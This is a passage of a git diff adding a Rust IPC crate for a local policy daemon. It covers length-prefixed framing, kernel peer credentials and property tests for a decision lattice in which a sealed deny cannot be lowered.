assert_eq!( + read_frame(&mut wire.as_slice()).unwrap().len(), + MAX_FRAME_BODY + ); + } + + #[test] + fn rejects_one_byte_over_the_maximum_in_both_directions() { + let over = u32::try_from(MAX_FRAME_BODY + 1).unwrap(); + let mut wire = over.to_be_bytes().to_vec(); + wire.extend_from_slice(b"x"); + + let err = read_frame(&mut wire.as_slice()).unwrap_err(); + assert!( + matches!(err, FrameError::TooLarge { declared } if declared == over), + "got {err:?}" + ); + assert_eq!( + err.error_code(), + Some(crate::envelope::ErrorCode::FrameTooLarge) + ); + + let err = write_frame(&mut Vec::new(), &vec![b'x'; MAX_FRAME_BODY + 1]).unwrap_err(); + assert!( + matches!(err, FrameError::TooLarge { declared } if declared == over), + "got {err:?}" + ); + } + + /// A reader that panics if it is read from after the length prefix. + /// + /// This is the cheap half of the oversize proof — it shows `read_frame` + /// never even *tries* to pull a 4 GiB body. The other half, that it never + /// allocates one either, is `tests/no_huge_alloc.rs`, which counts bytes + /// through a tracking global allocator. + struct PrefixOnly { + prefix: [u8; 4], + consumed: bool, + } + + impl Read for PrefixOnly { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + assert!( + !self.consumed, + "read_frame read past a rejected length prefix" + ); + self.consumed = true; + let n = buf.len().min(4); + buf[..n].copy_from_slice(&self.prefix[..n]); + Ok(n) + } + } + + #[test] + fn u32_max_prefix_is_rejected_without_touching_the_body() { + let mut reader = PrefixOnly { + prefix: u32::MAX.to_be_bytes(), + consumed: false, + }; + let err = read_frame(&mut reader).unwrap_err(); + assert!( + matches!(err, FrameError::TooLarge { declared: u32::MAX }), + "got {err:?}" + ); + } + + #[test] + fn interrupted_reads_are_retried() { + struct Flaky { + wire: Vec, + pos: usize, + interrupt_next: bool, + } + impl Read for Flaky { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + if self.interrupt_next { + self.interrupt_next = false; + return Err(io::Error::from(io::ErrorKind::Interrupted)); + } + self.interrupt_next = true; + if self.pos >= self.wire.len() { + return Ok(0); + } + buf[0] = self.wire[self.pos]; + self.pos += 1; + Ok(1) + } + } + + let mut wire = Vec::new(); + write_frame(&mut wire, b"{\"k\":true}").unwrap(); + let mut flaky = Flaky { + wire, + pos: 0, + interrupt_next: true, + }; + assert_eq!(read_frame(&mut flaky).unwrap(), b"{\"k\":true}"); + } + + #[cfg(feature = "tokio")] + mod async_tests { + use super::super::*; + + #[tokio::test] + async fn async_round_trips_and_matches_the_sync_encoding() { + let mut wire = Vec::new(); + write_frame_async(&mut wire, b"{\"a\":1}").await.unwrap(); + + let mut sync_wire = Vec::new(); + write_frame(&mut sync_wire, b"{\"a\":1}").unwrap(); + assert_eq!(wire, sync_wire); + + assert_eq!( + read_frame_async(&mut wire.as_slice()).await.unwrap(), + b"{\"a\":1}" + ); + } + + #[tokio::test] + async fn async_distinguishes_clean_close_from_truncation() { + let empty: &[u8] = &[]; + let err = read_frame_async(&mut &empty[..]).await.unwrap_err(); + assert!(err.is_clean_disconnect(), "got {err:?}"); + + let mut wire = Vec::new(); + write_frame_async(&mut wire, b"{\"a\":1}").await.unwrap(); + wire.truncate(5); + let err = read_frame_async(&mut wire.as_slice()).await.unwrap_err(); + assert!( + matches!( + err, + FrameError::TruncatedBody { + declared: 7, + read: 1 + } + ), + "got {err:?}" + ); + } + + #[tokio::test] + async fn async_rejects_oversize_before_reading_a_body() { + let mut wire = u32::MAX.to_be_bytes().to_vec(); + wire.extend_from_slice(b"x"); + let err = read_frame_async(&mut wire.as_slice()).await.unwrap_err(); + assert!( + matches!(err, FrameError::TooLarge { declared: u32::MAX }), + "got {err:?}" + ); + } + + #[tokio::test] + async fn async_rejects_zero_length() { + let err = read_frame_async(&mut [0u8, 0, 0, 0].as_slice()) + .await + .unwrap_err(); + assert!(matches!(err, FrameError::ZeroLength), "got {err:?}"); + } + } +} diff --git a/crates/fpai-ipc/src/lib.rs b/crates/fpai-ipc/src/lib.rs new file mode 100644 index 00000000..80e9400c --- /dev/null +++ b/crates/fpai-ipc/src/lib.rs @@ -0,0 +1,56 @@ +//! Wire types for the `failproofaid` local IPC protocol, version 1. +//! +//! `crates/PROTOCOL.md` is the single source of truth shared by this crate, +//! `failproofaid`, and `src/hooks/daemon-client.ts`. All three are written +//! against it independently, so anything ambiguous there becomes a silent +//! interop bug — and `tests/protocol_conformance.rs` in this crate parses the +//! document's own example JSON verbatim so a rename on one side of the wire +//! fails the build rather than the field. +//! +//! Scope: framing, envelope types, peer credentials, and the decision lattice. +//! **No daemon logic and no policy logic.** The transport (which socket, which +//! listener, which lane) belongs to `failproofaid`; canonicalization belongs to +//! `fpai-canon`; what a verdict *means* belongs to the policy layer. What lives +//! here is only what all of them must agree on byte-for-byte. +//! +//! ``` +//! use fpai_ipc::{ +//! combine::Decision, +//! envelope::{ClientHandshake, Hello, PROTOCOL_VERSION}, +//! framing::{read_frame, write_frame}, +//! }; +//! +//! let hello = ClientHandshake::Hello(Hello { +//! protocol_version: PROTOCOL_VERSION, +//! client: "failproofai-hook".into(), +//! client_version: "0.0.16-beta.0".into(), +//! }); +//! +//! let mut wire = Vec::new(); +//! write_frame(&mut wire, &serde_json::to_vec(&hello).unwrap()).unwrap(); +//! +//! let body = read_frame(&mut wire.as_slice()).unwrap(); +//! assert_eq!(serde_json::from_slice::(&body).unwrap(), hello); +//! assert_eq!(Decision::Allow.max(Decision::Deny), Decision::Deny); +//! ``` + +#![forbid(unsafe_op_in_unsafe_fn)] +#![warn(missing_docs, clippy::missing_errors_doc, clippy::missing_panics_doc)] + +pub mod combine; +pub mod envelope; +pub mod framing; +#[cfg(unix)] +pub mod peer; + +pub use combine::{Decision, Tier, TieredDecision, TieredOutcome, combine, combine_all}; +pub use envelope::{ + Attestation, ClientHandshake, EnvFacts, ErrorBody, ErrorCode, EvaluateHook, Evaluated, Hello, + HelloAck, HostContext, Op, OpResult, PROTOCOL_VERSION, Ping, Pong, ProtocolError, Request, + Response, ServerHandshake, SessionFields, VersionMismatch, +}; +pub use framing::{FrameError, MAX_FRAME_BODY, read_frame, write_frame}; +#[cfg(feature = "tokio")] +pub use framing::{read_frame_async, write_frame_async}; +#[cfg(unix)] +pub use peer::{PeerCred, current_uid, home_for_uid, peer_credentials}; diff --git a/crates/fpai-ipc/src/peer.rs b/crates/fpai-ipc/src/peer.rs new file mode 100644 index 00000000..95ad13b6 --- /dev/null +++ b/crates/fpai-ipc/src/peer.rs @@ -0,0 +1,291 @@ +//! Peer credentials, read from the kernel. +//! +//! Mandatory, and never read from a field the caller supplies. The UID is the +//! authorization context for a request and the key for per-UID policy, quota, +//! and (later) spool state, so a caller that could name its own UID could name +//! another user's policy set. +//! +//! | Platform | Mechanism | +//! |---|---| +//! | Linux | `getsockopt(SOL_SOCKET, SO_PEERCRED)` → `struct ucred { pid, uid, gid }` | +//! | macOS | `getpeereid(2)` → `(uid, gid)` | +//! +//! `std::os::unix::net::UnixStream::peer_cred` would cover the Linux half, but +//! it is unstable (`peer_credentials_unix_socket`) and this crate builds on a +//! pinned stable toolchain. + +use std::io; +use std::os::unix::net::UnixStream; +use std::path::PathBuf; + +use nix::unistd::{Uid, User}; + +/// Kernel-reported identity of the process on the other end of a Unix socket. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub struct PeerCred { + /// Effective UID of the peer. The authorization context for the request. + pub uid: u32, + /// Effective GID of the peer. + pub gid: u32, + /// PID of the peer, when the platform reports one. + /// + /// `None` on macOS: `getpeereid(2)` returns only the UID and GID. It is an + /// `Option` rather than a `0` sentinel so that a caller which needs a PID + /// has to confront the platform that cannot supply one — and so that a + /// missing PID can never be mistaken for PID 0. Nothing in enforcement may + /// depend on it: a PID is a racy handle (the process can exit and the + /// number be reused before it is used), which is the same reason + /// `/proc//cwd` is not trusted for `host.cwd`. + pub pid: Option, +} + +/// This process's own real user ID. +/// +/// Exists so a listener can compare [`PeerCred::uid`] against itself and refuse +/// a connection from anyone else. That comparison is the whole reason to read +/// peer credentials at all in a single-user daemon — without it, reading them +/// and then using the UID only to look something up is not a check, however it +/// is described. +/// +/// `getuid` cannot fail and takes no arguments, so this is total. +#[must_use] +pub fn current_uid() -> u32 { + Uid::current().as_raw() +} + +/// Read the peer's credentials from the kernel. +/// +/// # Errors +/// +/// The underlying `getsockopt`/`getpeereid` failure, verbatim — most often +/// `ENOTCONN` if the peer has already gone away. On a platform with neither +/// mechanism, [`io::ErrorKind::Unsupported`]. +pub fn peer_credentials(sock: &UnixStream) -> io::Result { + platform::peer_credentials(sock) +} + +/// Resolve a UID's home directory with `getpwuid_r(3)`. +/// +/// # There is deliberately no fallback +/// +/// A miss is an error, never a default such as `/home/`, `/nonexistent`, +/// or the daemon's own `$HOME`. Home widens the allow set — `isAgentInternalPath` +/// treats paths under it as agent-internal — so a guessed home is a guessed +/// security boundary. PROTOCOL.md makes a `getpwuid_r` miss an `internal` +/// error for exactly this reason: refusing to answer is safe, answering wrongly +/// is not. +/// +/// # ERANGE +/// +/// `getpwuid_r` wants a caller-supplied buffer and returns `ERANGE` when it is +/// too small, which is not a failure but a request to retry with a larger one. +/// The loop lives in `nix::unistd::User::from_uid`, which sizes the first +/// attempt from `sysconf(_SC_GETPW_R_SIZE_MAX)` and doubles up to a 1 MiB cap — +/// so this function must not be rewritten onto raw `libc::getpwuid_r` without +/// bringing that loop with it. A single-shot call silently fails for any user +/// whose passwd entry (GECOS, long shell path, NIS/LDAP-sourced fields) +/// overflows the initial guess, which is a per-user, per-machine bug that no +/// test on the author's laptop will ever reproduce. +/// +/// # Errors +/// +/// [`io::ErrorKind::NotFound`] if there is no passwd entry for `uid` — which +/// `getpwuid_r` reports as success with a null result, and which must not be +/// confused with a lookup failure. [`io::ErrorKind::InvalidData`] if the entry +/// exists but its home is empty or relative, which is a broken account rather +/// than a usable answer. Any other `errno` from the lookup itself (NSS +/// unreachable, EIO, EMFILE) is returned verbatim. +pub fn home_for_uid(uid: u32) -> io::Result { + match User::from_uid(Uid::from_raw(uid)) { + Ok(Some(user)) => { + if user.dir.as_os_str().is_empty() || !user.dir.is_absolute() { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + format!( + "passwd entry for uid {uid} has a non-absolute home {:?}", + user.dir + ), + )); + } + Ok(user.dir) + } + Ok(None) => Err(io::Error::new( + io::ErrorKind::NotFound, + format!("no passwd entry for uid {uid}"), + )), + Err(errno) => Err(io::Error::from_raw_os_error(errno as i32)), + } +} + +#[cfg(any(target_os = "linux", target_os = "android"))] +mod platform { + use std::io; + use std::os::unix::net::UnixStream; + + use nix::sys::socket::{getsockopt, sockopt}; + + use super::PeerCred; + + pub fn peer_credentials(sock: &UnixStream) -> io::Result { + // SO_PEERCRED is recorded by the kernel at connect(2) time from the + // connecting process's credentials, so it cannot be spoofed by the peer + // and does not race with a later setuid. + let cred = getsockopt(sock, sockopt::PeerCredentials) + .map_err(|errno| io::Error::from_raw_os_error(errno as i32))?; + Ok(PeerCred { + uid: cred.uid(), + gid: cred.gid(), + pid: Some(cred.pid()), + }) + } +} + +#[cfg(any(target_os = "macos", target_os = "ios"))] +mod platform { + use std::io; + use std::os::fd::AsRawFd; + use std::os::unix::net::UnixStream; + + use super::PeerCred; + + /// `getpeereid(2)`. + /// + /// `nix` exposes the Darwin `LOCAL_PEERCRED` socket option (as `XuCred`) + /// but has no safe binding for `getpeereid`, so this is the one place in + /// the crate that calls libc directly. It is three lines, has no lifetimes + /// or ownership to get wrong, and PROTOCOL.md names `getpeereid(2)` + /// specifically as the macOS mechanism — reaching for `LOCAL_PEERCRED` + /// instead to avoid an `unsafe` block would silently substitute a different + /// contract for the documented one. + #[allow( + unsafe_code, + reason = "no safe binding for getpeereid(2); see the doc comment" + )] + pub fn peer_credentials(sock: &UnixStream) -> io::Result { + let mut uid: nix::libc::uid_t = 0; + let mut gid: nix::libc::gid_t = 0; + // SAFETY: `sock.as_raw_fd()` is a valid, open socket descriptor for as + // long as `sock` is borrowed, which is the whole call. `uid` and `gid` + // are live, correctly typed, properly aligned stack slots that outlive + // the call, and getpeereid writes at most one value to each. The + // function takes no ownership of the descriptor and stores no pointer. + let rc = unsafe { nix::libc::getpeereid(sock.as_raw_fd(), &raw mut uid, &raw mut gid) }; + if rc != 0 { + return Err(io::Error::last_os_error()); + } + // getpeereid reports no PID; see `PeerCred::pid`. + Ok(PeerCred { + uid, + gid, + pid: None, + }) + } +} + +#[cfg(not(any( + target_os = "linux", + target_os = "android", + target_os = "macos", + target_os = "ios" +)))] +mod platform { + use std::io; + use std::os::unix::net::UnixStream; + + use super::PeerCred; + + /// No supported mechanism on this platform. + /// + /// An explicit refusal rather than a permissive stub: a build that could + /// not identify its peer must fail closed at the call site, not authorize + /// everyone as UID 0. Windows transport is deferred beyond Phase 1 and will + /// arrive as a named-pipe implementation with its own mechanism. + pub fn peer_credentials(_sock: &UnixStream) -> io::Result { + Err(io::Error::new( + io::ErrorKind::Unsupported, + "peer credentials are supported on Linux (SO_PEERCRED) and macOS (getpeereid) only", + )) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + /// A socketpair is the only way to test this without a listener, and some + /// sandboxes forbid it. Skipping is correct there; failing would be noise. + fn socket_pair() -> Option<(UnixStream, UnixStream)> { + match UnixStream::pair() { + Ok(pair) => Some(pair), + Err(e) => { + eprintln!("skipping: this environment cannot create a Unix socketpair: {e}"); + None + } + } + } + + #[test] + fn reads_our_own_uid_off_a_socketpair() { + let Some((a, b)) = socket_pair() else { return }; + + let expected_uid = nix::unistd::geteuid().as_raw(); + let expected_gid = nix::unistd::getegid().as_raw(); + + for sock in [&a, &b] { + match peer_credentials(sock) { + Ok(cred) => { + assert_eq!(cred.uid, expected_uid); + assert_eq!(cred.gid, expected_gid); + } + Err(e) if e.kind() == io::ErrorKind::Unsupported => { + eprintln!("skipping: {e}"); + return; + } + Err(e) => panic!("peer_credentials failed: {e}"), + } + } + } + + #[test] + #[cfg(any(target_os = "linux", target_os = "android"))] + fn reports_our_own_pid_on_linux() { + let Some((a, _b)) = socket_pair() else { return }; + let cred = peer_credentials(&a).expect("SO_PEERCRED on a socketpair"); + assert_eq!(cred.pid, Some(std::process::id() as i32)); + } + + #[test] + fn resolves_the_current_uid_to_an_absolute_home() { + let uid = nix::unistd::geteuid().as_raw(); + match home_for_uid(uid) { + Ok(home) => assert!(home.is_absolute(), "{home:?} is not absolute"), + // A UID with no passwd entry is a legitimate state for a container + // build user; the point of the test is that it errors rather than + // inventing a home, which the next test asserts directly. + Err(e) => eprintln!("skipping: uid {uid} has no usable passwd entry: {e}"), + } + } + + #[test] + fn a_missing_uid_errors_rather_than_falling_back() { + // Far outside any plausible allocation, including the 16-bit `nobody` + // conventions (65534) and systemd's dynamic-user range. + let absent = u32::MAX - 3; + let err = home_for_uid(absent) + .expect_err("a uid with no passwd entry must never resolve to a home"); + assert!( + err.to_string().contains(&absent.to_string()) || err.raw_os_error().is_some(), + "unhelpful error: {err}" + ); + } + + #[test] + fn root_resolves_when_the_machine_has_a_passwd_file() { + // Not an assertion about the value: `/root` on Linux, `/var/root` on + // macOS, and neither is guaranteed. Only that a real entry resolves to + // an absolute path through the same code path as everything else. + if let Ok(home) = home_for_uid(0) { + assert!(home.is_absolute(), "{home:?}"); + } + } +} diff --git a/crates/fpai-ipc/tests/framing_properties.rs b/crates/fpai-ipc/tests/framing_properties.rs new file mode 100644 index 00000000..0e5fe8f0 --- /dev/null +++ b/crates/fpai-ipc/tests/framing_properties.rs @@ -0,0 +1,246 @@ +//! Property tests for framing and for envelope round-tripping. +//! +//! Framing is algebraic in the same sense the lattice is: `read_frame` must +//! invert `write_frame` for *every* body, and must fail — never return a +//! plausible-looking wrong body — for every truncation of every frame. Examples +//! cover the boundaries; these cover the middle. + +use fpai_ipc::envelope::{ + ClientHandshake, EnvFacts, ErrorBody, ErrorCode, EvaluateHook, Evaluated, Hello, HelloAck, + HostContext, Op, OpResult, Ping, Pong, Request, Response, ServerHandshake, SessionFields, + VersionMismatch, +}; +use fpai_ipc::framing::{FrameError, MAX_FRAME_BODY, read_frame, write_frame}; +use fpai_ipc::{Attestation, Decision}; +use proptest::prelude::*; + +fn any_body() -> impl Strategy> { + prop::collection::vec(any::(), 1..8192) +} + +proptest! { + #![proptest_config(ProptestConfig { cases: 1024, ..ProptestConfig::default() })] + + #[test] + fn a_frame_round_trips(body in any_body()) { + let mut wire = Vec::new(); + write_frame(&mut wire, &body).unwrap(); + prop_assert_eq!(wire.len(), body.len() + 4); + prop_assert_eq!(&wire[..4], &u32::try_from(body.len()).unwrap().to_be_bytes()[..]); + prop_assert_eq!(read_frame(&mut wire.as_slice()).unwrap(), body); + } + + /// Consecutive frames stay separated, in order, with nothing bleeding + /// between them — the property that makes a length prefix worth the four + /// bytes over newline delimiting when bodies contain newlines. + #[test] + fn frames_do_not_bleed_into_each_other(bodies in prop::collection::vec(any_body(), 1..8)) { + let mut wire = Vec::new(); + for body in &bodies { + write_frame(&mut wire, body).unwrap(); + } + + let mut cursor = wire.as_slice(); + for body in &bodies { + prop_assert_eq!(&read_frame(&mut cursor).unwrap(), body); + } + prop_assert!(read_frame(&mut cursor).unwrap_err().is_clean_disconnect()); + } + + /// Every truncation of a frame is an error, and specifically never a + /// successfully-decoded shorter body. A silently-accepted short frame would + /// hand the daemon a JSON parse failure it would report as + /// `malformed_frame` — the right code for the wrong reason, and unfixable + /// from the logs. + #[test] + fn every_truncation_fails(body in any_body(), cut in 0usize..8192) { + let mut wire = Vec::new(); + write_frame(&mut wire, &body).unwrap(); + let keep = cut % wire.len(); + wire.truncate(keep); + + let err = read_frame(&mut wire.as_slice()).unwrap_err(); + match keep { + 0 => prop_assert!(err.is_clean_disconnect(), "got {err:?}"), + 1..=3 => prop_assert!( + matches!(err, FrameError::TruncatedLength { read } if read == keep), + "got {err:?}" + ), + _ => prop_assert!( + matches!(err, FrameError::TruncatedBody { declared, read } + if declared == body.len() && read == keep - 4), + "got {err:?}" + ), + } + } + + /// Any declared length above the cap is rejected, whatever the bytes behind + /// it look like. + #[test] + fn any_oversize_declaration_is_rejected( + declared in (u32::try_from(MAX_FRAME_BODY).unwrap() + 1)..=u32::MAX, + trailing in prop::collection::vec(any::(), 0..64), + ) { + let mut wire = declared.to_be_bytes().to_vec(); + wire.extend_from_slice(&trailing); + let err = read_frame(&mut wire.as_slice()).unwrap_err(); + prop_assert!(matches!(err, FrameError::TooLarge { declared: d } if d == declared), "got {err:?}"); + prop_assert_eq!(err.error_code(), Some(ErrorCode::FrameTooLarge)); + } + + /// A body at or below the cap is always accepted; one byte over is always + /// refused. Stated over a range so an off-by-one in either direction fails. + #[test] + fn the_cap_is_inclusive(len in 1usize..=64) { + let at_cap = vec![b'x'; MAX_FRAME_BODY - len + 1]; + prop_assert!(write_frame(&mut Vec::new(), &at_cap).is_ok()); + let over = vec![b'x'; MAX_FRAME_BODY + len]; + let err = write_frame(&mut Vec::new(), &over).unwrap_err(); + prop_assert!(matches!(err, FrameError::TooLarge { .. }), "got {err:?}"); + } + + // ---- envelope round-tripping ---------------------------------------- + + /// Every message type survives a JSON round-trip losslessly, including + /// bodies with quotes, backslashes, newlines, and non-BMP characters — + /// tool input is arbitrary text and regularly contains all four. + #[test] + fn every_message_type_round_trips( + id in any::(), + text in any::(), + n in any::(), + exit_code in any::(), + flag in any::(), + ) { + let hello = ClientHandshake::Hello(Hello { + protocol_version: 1, + client: text.clone(), + client_version: text.clone(), + }); + prop_assert_eq!( + serde_json::from_str::(&serde_json::to_string(&hello).unwrap()).unwrap(), + hello + ); + + for handshake in [ + ServerHandshake::HelloAck(HelloAck { + protocol_version: 1, + daemon_version: text.clone(), + generation_id: id.clone(), + }), + ServerHandshake::VersionMismatch(VersionMismatch { + supported: vec![1], + received: 2, + }), + ] { + let encoded = serde_json::to_vec(&handshake).unwrap(); + prop_assert_eq!(serde_json::from_slice::(&encoded).unwrap(), handshake); + } + + let request = Request { + request_id: id.clone(), + op: Op::EvaluateHook(Box::new(EvaluateHook { + cli: text.clone(), + event_type: text.clone(), + raw_event_type: text.clone(), + payload: serde_json::from_value(serde_json::json!({ + "tool_name": "Bash", + "tool_input": { "command": text.clone() }, + })).unwrap(), + session: SessionFields { + session_id: Some(id.clone()), + transcript_path: None, + permission_mode: Some(text.clone()), + hook_event_name: None, + }, + host: HostContext { + home: None, + cwd: Some(text.clone()), + project_dir: None, + env_facts: EnvFacts::with_claude_project_dir(Some(text.clone())), + }, + enabled_policies: vec![String::from("block-sudo")], + deadline_ms: n, + shadow: flag, + })), + }; + let encoded = serde_json::to_vec(&request).unwrap(); + prop_assert_eq!(serde_json::from_slice::(&encoded).unwrap(), request.clone()); + + // …and through the framing layer, which is where a body with a NUL or a + // newline in it would break a delimiter-based transport. + let mut wire = Vec::new(); + write_frame(&mut wire, &encoded).unwrap(); + let body = read_frame(&mut wire.as_slice()).unwrap(); + prop_assert_eq!(serde_json::from_slice::(&body).unwrap(), request); + + let ping = Request { request_id: id.clone(), op: Op::Ping(Ping {}) }; + prop_assert_eq!( + serde_json::from_str::(&serde_json::to_string(&ping).unwrap()).unwrap(), + ping + ); + + for result in [ + OpResult::Pong(Pong { daemon_version: text.clone(), uptime_ms: n }), + OpResult::Error(ErrorBody { code: ErrorCode::Internal, message: text.clone() }), + OpResult::Evaluated(Box::new(Evaluated { + decision_id: id.clone(), + generation_id: id.clone(), + exit_code, + stdout: text.clone(), + stderr: text.clone(), + decision: Decision::Deny, + policy_name: Some(text.clone()), + policy_names: Some(vec![text.clone()]), + reason: None, + attestation: Attestation::SealedUnattested, + matched_policies: vec![text.clone()], + needs_user_context: vec![], + })), + ] { + let response = Response { request_id: id.clone(), result }; + let encoded = serde_json::to_vec(&response).unwrap(); + prop_assert_eq!(serde_json::from_slice::(&encoded).unwrap(), response); + } + } + + /// An unknown top-level field on any request-side type is a hard failure, + /// whatever it is called. `deny_unknown_fields` is what makes a client that + /// invents a host field fail loudly instead of having it silently ignored. + #[test] + fn any_unknown_request_side_field_is_rejected(name in "[a-z_]{1,16}") { + prop_assume!(!["home", "cwd", "project_dir", "env_facts"].contains(&name.as_str())); + + let mut object = serde_json::Map::new(); + object.insert("home".into(), serde_json::Value::Null); + object.insert("cwd".into(), serde_json::Value::Null); + object.insert("project_dir".into(), serde_json::Value::Null); + object.insert("env_facts".into(), serde_json::json!({})); + object.insert(name.clone(), serde_json::json!("anything")); + + let err = serde_json::from_value::(object.into()).unwrap_err(); + prop_assert!(err.to_string().contains(&name), "{err}"); + } + + /// Any `env_facts` key outside the closed set is rejected, and the error + /// names it. + #[test] + fn any_unknown_env_fact_is_rejected(name in "[A-Z_]{1,24}") { + prop_assume!(name != "CLAUDE_PROJECT_DIR"); + + let mut host = HostContext::default(); + host.env_facts.insert(name.clone(), Some("value".into())); + let err = host.validate().unwrap_err(); + prop_assert_eq!(err.code(), ErrorCode::UnknownEnvFact); + prop_assert!(err.to_string().contains(&name), "{err}"); + } + + /// Any non-null `home` is rejected, whatever it is set to. The dangerous + /// value is `"/"`, but the rule is not value-dependent — a rule that only + /// caught the obviously-hostile value would be a filter, not a boundary. + #[test] + fn any_asserted_home_is_rejected(home in any::()) { + let host = HostContext { home: Some(home), ..HostContext::default() }; + prop_assert_eq!(host.validate().unwrap_err().code(), ErrorCode::ClientAssertedHome); + } +} diff --git a/crates/fpai-ipc/tests/lattice_properties.rs b/crates/fpai-ipc/tests/lattice_properties.rs new file mode 100644 index 00000000..70bd5174 --- /dev/null +++ b/crates/fpai-ipc/tests/lattice_properties.rs @@ -0,0 +1,246 @@ +//! Property tests for the decision lattice. +//! +//! The verification plan calls this out specifically: the combination rule +//! "deserves a property test rather than three examples", because the last +//! property below — **adding any number of `user-context` results never lowers +//! a `sealed` deny** — is the formal statement of the entire two-tier security +//! argument. Three hand-picked examples would pass against an implementation +//! that is wrong for the fourth. + +use fpai_ipc::combine::{Decision, Tier, TieredDecision, combine, combine_all, combine_tiered}; +use fpai_ipc::envelope::Attestation; +use proptest::prelude::*; + +fn any_decision() -> impl Strategy { + prop_oneof![ + Just(Decision::Allow), + Just(Decision::Instruct), + Just(Decision::Deny) + ] +} + +fn any_attestation() -> impl Strategy { + prop_oneof![ + Just(Attestation::Sealed), + Just(Attestation::SealedUnattested), + Just(Attestation::UserContext), + ] +} + +fn any_tier() -> impl Strategy { + prop_oneof![Just(Tier::Sealed), Just(Tier::UserContext)] +} + +fn any_tiered() -> impl Strategy { + (any_decision(), any_tier()).prop_map(|(decision, tier)| TieredDecision { decision, tier }) +} + +proptest! { + #![proptest_config(ProptestConfig { cases: 4096, ..ProptestConfig::default() })] + + #[test] + fn combine_is_associative(a in any_decision(), b in any_decision(), c in any_decision()) { + prop_assert_eq!(combine(combine(a, b), c), combine(a, combine(b, c))); + } + + #[test] + fn combine_is_commutative(a in any_decision(), b in any_decision()) { + prop_assert_eq!(combine(a, b), combine(b, a)); + } + + #[test] + fn combine_is_idempotent(a in any_decision()) { + prop_assert_eq!(combine(a, a), a); + } + + #[test] + fn allow_is_the_identity(a in any_decision()) { + prop_assert_eq!(combine(a, Decision::Allow), a); + prop_assert_eq!(combine(Decision::Allow, a), a); + } + + /// The combined result equals the maximum under `deny > instruct > allow`. + #[test] + fn combine_is_the_maximum(a in any_decision(), b in any_decision()) { + let expected = if a.rank() >= b.rank() { a } else { b }; + prop_assert_eq!(combine(a, b), expected); + prop_assert!(combine(a, b) >= a); + prop_assert!(combine(a, b) >= b); + } + + /// Combining can only ever tighten. This is what makes evaluation order + /// irrelevant, and it is the reason a forged `allow` is harmless. + #[test] + fn combining_never_relaxes(a in any_decision(), b in any_decision()) { + prop_assert!(combine(a, b) >= a.max(b)); + prop_assert!(combine(a, b) != Decision::Allow || (a == Decision::Allow && b == Decision::Allow)); + } + + #[test] + fn combine_all_equals_the_maximum_of_the_list( + decisions in prop::collection::vec(any_decision(), 0..32) + ) { + let expected = decisions.iter().copied().max().unwrap_or(Decision::Allow); + prop_assert_eq!(combine_all(decisions.iter().copied()), expected); + } + + /// Order-independence stated directly: shuffling the inputs cannot change + /// the outcome, so "which policy ran first" is never a security-relevant + /// question. + #[test] + fn combine_all_is_order_independent( + decisions in prop::collection::vec(any_decision(), 0..32) + ) { + let forwards = combine_all(decisions.iter().copied()); + let backwards = combine_all(decisions.iter().rev().copied()); + prop_assert_eq!(forwards, backwards); + } + + // ---- the two-tier security argument --------------------------------- + + /// **Adding any number of `user-context` results never lowers a `sealed` + /// deny.** Folding an arbitrary list of `user_context` verdicts — of any + /// length, in any combination, including all-`allow` — into a sealed `Deny` + /// still yields `Deny`. + #[test] + fn user_context_results_cannot_lower_a_sealed_deny( + user in prop::collection::vec(any_decision(), 0..64) + ) { + let mut results = vec![TieredDecision::sealed(Decision::Deny)]; + results.extend(user.iter().copied().map(TieredDecision::user_context)); + + let outcome = combine_tiered(results.iter().copied()); + prop_assert_eq!(outcome.decision(), Decision::Deny); + + // And the deny is still reported as sealed: a user-context verdict that + // merely echoed it did not decide it, so the daemon can still report + // that no host-reading policy was what decided this. + prop_assert!(!outcome.decided_by_user_context()); + prop_assert_eq!(outcome.attestation_ceiling(), Attestation::Sealed); + + // Position is irrelevant too: putting the sealed deny last must not + // change the answer. + results.rotate_left(1); + prop_assert_eq!(combine_tiered(results).decision(), Decision::Deny); + } + + /// The general form: `user_context` verdicts can raise the outcome and can + /// never lower it, whatever the sealed tier decided. + #[test] + fn user_context_can_only_tighten( + sealed in prop::collection::vec(any_decision(), 0..32), + user in prop::collection::vec(any_decision(), 0..32), + ) { + let sealed_only = combine_all(sealed.iter().copied()); + + let mut all: Vec = + sealed.iter().copied().map(TieredDecision::sealed).collect(); + all.extend(user.iter().copied().map(TieredDecision::user_context)); + + let outcome = combine_tiered(all); + prop_assert_eq!(outcome.sealed, sealed_only); + prop_assert!(outcome.decision() >= sealed_only); + } + + /// Attribution is honest in both directions: a `user_context` verdict is + /// blamed for the outcome exactly when it strictly exceeded every sealed + /// verdict, never merely because it was present. + #[test] + fn attestation_is_weakened_only_when_user_context_actually_decided( + results in prop::collection::vec(any_tiered(), 0..32) + ) { + let outcome = combine_tiered(results.iter().copied()); + let sealed_max = combine_all( + results.iter().filter(|r| r.tier == Tier::Sealed).map(|r| r.decision), + ); + let user_max = combine_all( + results.iter().filter(|r| r.tier == Tier::UserContext).map(|r| r.decision), + ); + + prop_assert_eq!(outcome.sealed, sealed_max); + prop_assert_eq!(outcome.user_context, user_max); + prop_assert_eq!(outcome.decision(), combine(sealed_max, user_max)); + prop_assert_eq!(outcome.decided_by_user_context(), user_max > sealed_max); + prop_assert_eq!( + outcome.attestation_ceiling() == Attestation::UserContext, + user_max > sealed_max + ); + } + + /// A tier split cannot manufacture strictness either: the combined result + /// is exactly the result of ignoring tiers entirely. + #[test] + fn tiering_does_not_change_the_combined_decision( + results in prop::collection::vec(any_tiered(), 0..32) + ) { + let untiered = combine_all(results.iter().map(|r| r.decision)); + prop_assert_eq!(combine_tiered(results).decision(), untiered); + } + + // ---- the attestation lattice ---------------------------------------- + + #[test] + fn attestation_combination_is_associative_commutative_and_idempotent( + a in any_attestation(), b in any_attestation(), c in any_attestation() + ) { + prop_assert_eq!(a.combine(b).combine(c), a.combine(b.combine(c))); + prop_assert_eq!(a.combine(b), b.combine(a)); + prop_assert_eq!(a.combine(a), a); + prop_assert_eq!(a.combine(Attestation::Sealed), a); + } + + /// Least attested wins: a combined result can never be reported as more + /// attested than its weakest input. + #[test] + fn attestation_combination_never_strengthens( + items in prop::collection::vec(any_attestation(), 1..32) + ) { + let combined = Attestation::combine_all(items.iter().copied()); + for item in &items { + prop_assert!(combined >= *item, "{combined:?} is stronger than input {item:?}"); + } + prop_assert_eq!(combined, 